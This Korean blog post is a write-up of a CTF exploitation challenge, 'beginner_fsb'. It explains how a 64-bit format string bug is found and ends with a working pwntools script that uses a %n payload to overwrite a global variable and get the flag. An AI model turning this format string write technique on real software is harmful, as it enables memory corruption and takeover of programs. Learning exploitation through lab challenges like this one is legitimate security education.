포너블

64bit format string bug 문제 풀이

He110 2023. 10. 8. 15:52

오늘은 sschall에 있는beginner_fsb문제를 풀어보고자 한다. beginner_fsb는 64비트로 컴파일된 elf파일이다. 먼저 이 바이너리의 보호기법을 알아보겠다. 보호기법을 확인해보면 parial relro와 카나리, nx bit가 켜져 있는 것을 확인할 수 있다. 하지만 해당 보호기법들은 포맷스트링 버그와 연관되어 있지 않기 때문에 보호기법을 우회하거나 할 필요는 없다.

소스 코드를 살펴보면, 먼저 메인함수 시작점에서 input 0x20만큼의 데이터가 \0으로 초기화된다. 그 다음 우리가 덮어씌워야될 can_you_overwrite_me 변수가 나온다. 해당 변수를 변경하기위해서 포맷스트링 버그가 필요하다. read함수에서 0x1f만큼 데이터를 입력받음으로써 오버플로 취약점이 발생하고 다음 printf(input)에서 포맷스트링 버그가 발생하게 된다. 포맷스트링 버그를 통해 can_you_overwrite_me 변수의 주소를 확인할 수 있다.

그전에 can_you_overwrite_me의 주소를 gdb로 확인해보면 0x4052a0인 것을 확인할 수 있다.

해당 환경에서는 aslr이 적용되어 있어서 c922a0으로 can_you_overwrite_me 주소가 나온다. 따라서 offset이 5인 것을 확인할 수 있고 이를 이용해서 fsb공격을 해보겠다. 먼저 저는 이 변수를 0x1234를 덮어씌울 예정입니다. 

그래서 64비트에 맞게 뒤에 주소를 넣어줍니다. offset이 5니까 패딩 길이에 맞게 7번째에 덮어씌우고자하는 주소를 넣어줍니다.

이후 패이로드를 전송하면 플래그를 획득할 수 있습니다. 아래 test라고 뜨는 걸 확인하실 수 있을 껍니다. 제가 로컬에서 flag파일에 test라고 써줬기 때문에 저렇게 출력됩니다.

from pwn import *

p = process('./beginner_fsb')
#p = remote('211.229.218.12',33011)
e = ELF('./beginner_fsb')
context.bits = 64

context.log_level = 'debug'
over_write_address = 0x4052a0
#%5$p %4660c %7$n aaaaaaaaaaa bbbbbbbb
payload = b'%4660c'
payload += b'%7$naaaaa'
payload += p64(over_write_address)

pause()
p.recvline()
p.sendline(payload)
p.recvline()



전체적인 페이로드는 위와 같습니다.